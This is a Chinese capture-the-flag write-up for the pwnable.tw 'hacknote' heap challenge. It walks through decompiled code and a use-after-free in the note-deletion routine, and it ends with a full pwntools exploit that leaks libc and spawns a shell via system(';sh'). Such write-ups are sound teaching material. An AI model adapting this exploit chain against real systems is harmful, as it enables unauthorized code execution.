Hacknote
对于入门堆的师傅来说,这是个不错的入门题,但pwnabletw上扣了符号表,gdb调试起来比较麻烦,建议先做攻防世界上的,我们先看看ida反编译出来的代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| void __cdecl __noreturn main() { int v0; // eax char buf[4]; // [esp+8h] [ebp-10h] BYREF unsigned int v2; // [esp+Ch] [ebp-Ch]
v2 = __readgsdword(0x14u); setvbuf(stdout, 0, 2, 0); setvbuf(stdin, 0, 2, 0); while ( 1 ) { while ( 1 ) { all_choice(); read(0, buf, 4u); v0 = atoi(buf); // get choice if ( v0 != 2 ) break; delete(); } if ( v0 > 2 ) { if ( v0 == 3 ) { print_note(); } else { if ( v0 == 4 ) exit(0); LABEL_13: puts("Invalid choice"); } } else { if ( v0 != 1 ) goto LABEL_13; add_note(); } } }
|
比较经典的形式,这里的重点在三个函数上,我们一起看看
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96
| unsigned int add_note() { int v0; // ebx int i; // [esp+Ch] [ebp-1Ch] int size; // [esp+10h] [ebp-18h] char buf[8]; // [esp+14h] [ebp-14h] BYREF unsigned int v5; // [esp+1Ch] [ebp-Ch]
v5 = __readgsdword(0x14u); if ( limit <= 5 ) { for ( i = 0; i <= 4; ++i ) { if ( !*(&ptr + i) ) { *(&ptr + i) = malloc(8u); if ( !*(&ptr + i) ) { puts("Alloca Error"); exit(-1); } *(_DWORD *)*(&ptr + i) = puts_a; printf("Note size :"); read(0, buf, 8u); size = atoi(buf); v0 = (int)*(&ptr + i); *(_DWORD *)(v0 + 4) = malloc(size); if ( !*((_DWORD *)*(&ptr + i) + 1) ) { puts("Alloca Error"); exit(-1); } printf("Content :"); read(0, *((void **)*(&ptr + i) + 1), size); puts("Success !"); ++limit; return __readgsdword(0x14u) ^ v5; } } } else { puts("Full"); } return __readgsdword(0x14u) ^ v5; }
####delete unsigned int delete() { int v1; // [esp+4h] [ebp-14h] char buf[4]; // [esp+8h] [ebp-10h] BYREF unsigned int v3; // [esp+Ch] [ebp-Ch]
v3 = __readgsdword(0x14u); printf("Index :"); read(0, buf, 4u); v1 = atoi(buf); if ( v1 < 0 || v1 >= limit ) { puts("Out of bound!"); _exit(0); } if ( *(&ptr + v1) ) { free(*((void **)*(&ptr + v1) + 1)); free(*(&ptr + v1)); puts("Success"); } return __readgsdword(0x14u) ^ v3; }
####print_note unsigned int print_note() { int v1; // [esp+4h] [ebp-14h] char buf[4]; // [esp+8h] [ebp-10h] BYREF unsigned int v3; // [esp+Ch] [ebp-Ch]
v3 = __readgsdword(0x14u); printf("Index :"); read(0, buf, 4u); v1 = atoi(buf); if ( v1 < 0 || v1 >= limit ) { puts("Out of bound!"); _exit(0); } if ( *(&ptr + v1) ) (*(void (__cdecl **)(_DWORD))*(&ptr + v1))(*(&ptr + v1)); return __readgsdword(0x14u) ^ v3; }
|
仔细看可以发现,delete节点后这里没有把指针置为NULL,也没有对note数量进行减操作,delete后的note仍然可以通过print_note来访问,很明显是存在uaf(Use-after-free)漏洞的。
我们继续看add的逻辑,发现这个程序在生成一个content节点之前,会先申请一个chunk存放puts的地址和content chunk的地址。那现在,我们已经有大概的思路了,首先由于index chunk的申请大小小于0x10,所以在free之后它会归fastbin管理,fastbin是个单向链表,遵循先进后出原则(最后一个free的chunk会被优先分配)。那么我们就可以先申请两个大于0x20的note,记为note0,note1。index chunk 记为index0,index1。再将他们delete,由于note大于0x20,所以此时我们的fastbin是:index0->index1,此时我们再去申请一个小于0xf的chunk(add_note),那么这个note的chunk就会从fastbin中取,这个note我们记为note3: index : index0, content:index1 此时我们就可以向index1里面写一些函数的地址 ,然后调用了。 知道原理后 ,这就是一个简单的32位ret2libc。
###exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| from pwn import * context(arch="i386",os="linux") #p=process("./hacknote") p=remote("chall.pwnable.tw",10102) elf=ELF("./hacknote") def add_note(size,content): p.sendafter("Your choice :",str(1)) p.sendafter("size :",str(size)) p.sendafter("Content :",content) def delete_note(index): p.sendafter("Your choice :",str(2)) p.sendafter("Index :",str(index)) def print_note(index): p.sendafter("Your choice :",str(3)) p.sendafter("Index :",str(index)) def get_out(): p.sendafter("Your choice :",str(4)) libc=ELF("./libc_32.so.6") #gdb.attach(p) add_note(size=0x50,content=b"aaaa") #note 0 add_note(size=0x50,content=b"aaaa")# note 1 delete_note(1) #delete note 1 delete_note(0) #delete note 0 read_got=elf.got["read"] puts=0x804862B payload=p32(puts)+p32(read_got) add_note(size=0x8,content=payload) print_note(1) read_addr=int.from_bytes(p.recv(4),byteorder="little") libc_base=read_addr-libc.sym["read"] print(hex(libc_base)) system=libc.sym["system"]+libc_base bin_sh=libc_base+next(libc.search(b"/bin/sh")) payload=p32(system)+b";sh\0" #add_note(size=0x20,content=b"aaaa") delete_note(2) #delete_note(3) add_note(size=0x8,content=payload) print_note(1) p.interactive()
|
如有错误,欢迎各位师傅指正。